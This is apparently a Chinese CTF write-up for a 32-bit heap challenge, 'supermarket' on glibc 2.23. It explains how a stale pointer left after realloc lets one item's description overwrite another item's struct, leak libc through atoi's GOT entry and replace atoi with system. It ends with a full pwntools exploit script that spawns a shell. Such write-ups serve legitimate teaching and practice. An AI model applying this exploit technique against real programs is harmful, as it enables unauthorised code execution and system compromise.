刚开始我也被这题绕晕了,做这种题要画图画图!!!不然很容易做着做着忘了自己做到哪里来了
本题环境是ubuntu16、glib2.23!!!我第一次做的时候用的ubuntu18也就是glib2.27这时有tcache freechunk的分配策略不一样死活跑不出来,这题我还要研究一下tcache版本的。
-
首先申请了一个不在fastbin范围(0x10~0x58)的chunk0,然后再申请一个随便大小的chunk1,解释:因为下面我将要用remalloc重新分配chun0,remalloc如果重新分配的chunk下面有其他chunk的话,就会丢弃原来位置的chunk并free它,然后在最后面再申请一个chunk你申请大于原size的chunk,这样就产生了一个free chunk,如果chunk0后面没有其他chunk的话就会原地扩充大小,并不会新产生一个chunk这样就没意义了,漏洞主要利用的就是free chunk
-
嗯上面说到的,然后我们进行relloca重新分配chunk0(为什么不是chunk1上面解释了),执行后原来chunk0(size = 0x80)的chunk就会变为free chunk,然后在依次内存申请一个你relloca大小的chunk如图:
-
那么realloc后的残余chunk的指针没有被置空,且现在是一块free chunk,那不就是等着被我宰割的chunk吗,那么我再重新malloc一块真实大小小于0x88的chunk2那么它就会被我拿过来,然后我通过我新malloc的指针去控制它,实现双重控制,因为我的环境是ubuntu16(glibc2.23)所以它是一块unsortbin这时我新申请的chunk2就会去分割这个unsortbin。好,怎么分割呢?因为我调用add函数时,程序会先自己切割0x1c(实际大小0x20)大小的chunk给自己当类似结构体的chunk,然后假设我们chunk2申请的大小为0x20(实际大小0x28)那么它就会再从刚才被切个掉0x20大小的剩余chunk里面再切掉0x28的空间作为我chunk2->description[2] (0x28),那么此时的空间是这样的如图:
理解图:
- 此时并没有结束,chunk2只是修改了chunk0->desc 只会让chunk0的desc内容变化,为什么呢?因为前面realloc(chun0)的后产生的新地址并没有去接收并使用新指针源代码如图:。所以原来的chunk0->description还是指向原来的地址,这就和malloca->free后没有置空指针一样的效果,题目作者还真是关闭了一扇门打开了一扇窗。然而改变chunk0的desc内容并没什么用,我们要控制的是chunk结构体的malloc指针将它改为got表地址,从而打印除got表的值(注意!我们要得到的是got表地址里的内存值,这个值才能泄漏libc)
- 好!重点来了,现在chunk2的结构是 chunk0->desc ----指向---> chunk2->decs,因为上面realloc(chun0)后没有重新接收新内存的指针导致还是指向原地,但是这时原地的内存现在已经重新分配给chunk2的类似结构体的chunk,因为它首先程序默认申请了0x1c大小(实际大小0x20)的chunk那么原chunk0->desc的大小就变成了0x20(但是chunk0->desc还是以为它拥有之前很大一块的内存因为还是指向原地的原因),,,,正因为没有进行更新指针,且realloc后程序还提供了description内容修改操作(这个description的内容长度是由我们的重新realloc的大小决定的)所以我们在修改chunk0->desc的内容也是在修改chunk2的结构体chunk,那么原来0x1c大小的chunk空间只能输入name(0x10)+price(0x4)+descrip_size(0x4)的空间如图:,现在由我们控制空间大小了,那么就可以写入name(0x10)+price(0x4)+descrip_size(0x4)+got(我们想要输出的got地址)以达到覆盖原malloc指针的位置了从而达到调用got表的目的。
- 那么此时我们再进行realloc(chunk0),并重新写入数据,这时就是在修改chun2的结构体chunk了,那么我们数据的格式就因该是name(0x10)+price(0x4)+descrip_size(0x4)+got(我们想要输出的got地址)这样那么就是长度就是0x1c所以就只至少申请0x1c大小的chunk此时chunk0->desc指向原地还是以为自己有0x80的大小所以我们realloc(chun0,0x1c)的内存并不会导致它重新分配,,,,,,额,其实现在已经不重要了,因为就算重新分配了后变成了free chunk 但是我们写入的数据还是写入到了free chunk,而chunk0-desc还是指向这块free chunk并从中读取内容如图:(这个图里面的把got地址去掉了,实际只存入了0x1c-0x4的内容)
当我存入got地址后如图:
这里就破坏了堆结构,但是内存数据可以正常使用,但是不能malloc了不然就会报错,反正是为了得到shell,程序这里就坏了
- 到现在我们已经拿到libc的地址,那么就也意味着拿到了system()地址,好,上面说到申请的chun2其实的结构体chun2就是从chun0(0x80)丢弃的free chunk里面切割出来的0x20,chun2就是切割出来的0x28上面的图如下:
此时chunk2的实际结构示意如图:
经过上面的泄漏地址的数据填充,那么chun2的结构如图:
因为程序中有的结构体chunk与chunk-desc有一个指针指向关系,所以我们将atoi@got->value改为system@got->value就实现了任意地址改。
函数调用大概是这一个关系例如(atoi):
call atoi@plt(0x80485C0)
jmp atoi@got(0x804b048) ---value--> 0xf7d4f260
而got表下面的值才是atoi的真正地址,也只有它才可以进行libc泄漏
- 回到程序还差最后一步,是不是只要修改chun2->desc的值为system函数,然年在调用atoi函数时输入'sh'就可以getshell了,所以我们在编辑一下chunk2的desc内容,这里要注意的是,因为我们操作了free chunk 而程序也进行了对free chunk调用造成了堆空间混乱,所以我们不能变换之前申请的大小,不然就会就会调用realloc函数从而导致程序崩溃,源代码如图:
所以题目就分析完了,最后的exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
#coneext.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'i386')
binary = "./supermarket"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("47.108.195.119","20113")
e = ELF(binary)
#libc = ELF(libc_file)
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def dbg():
gdb.attach(p)
pause()
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
#lg('canary',canary)
def add(name,price,descrip_size,description):
sla('your choice>>','1')
sla('name:',name)
sla('price:',price)
sla('descrip_size:',descrip_size)
sla('description:',description)
def delete(name):
sla('your choice>>','2')
sla('name:',name)
def show():
sla('your choice>>','3')
def c_price(name,rides_price):
sla('your choice>>','4')
sla('name:',name)
sla('input the value you want to cut or rise in:',rides_price)
def c_desc(name,descrip_size,description):
sla('your choice>>','5')
sla('name:',name)
sla('descrip_size:',descrip_size)
sla('description:',description)
#start
got=e.got["atoi"]
add('0','10',str(0x80),'AAAAAAAA') #add的size没有实际作用,所以可以用来区分我的chunk,以便观察堆空间
add('1','20',str(0x20),'BBBBBBBB')
#pause()
c_desc('0',str(0x90),'')
#pause()
add('2','30',str(0x20),'CCCCCCCC')
#pause()
payload = b'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + p32(got)
#payload = b'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + b''#test payloa
success('len',len(payload))
c_desc('0',str(0x90),payload) #这里就破坏了堆结构,但是内存数据可以正常使用,但是不能malloc了不然就会报错
show()
#pause()
ru('2: price.20, des.')
atoi_addr = uu32(rc(4))
success('atoi addr -> ',atoi_addr)
libc_base = atoi_addr - libc.symbols['atoi']
success('libc_base addr',libc_base)
#pause()
c_desc('2',str(0x20),p32(libc_base + libc.symbols['system'])) #这里的size必须和上面payload的size一样,保证不触发malloc
sla('your choice>>','sh')
#pause()
it()
在这里apoi函数是最好利用的,其实也不一定要这个函数,这个程序中strlen也是可以利用的但是在使用它的时候还没初始化,这里说一下,以防忘记这个函数
这题的理解图我放在附件上面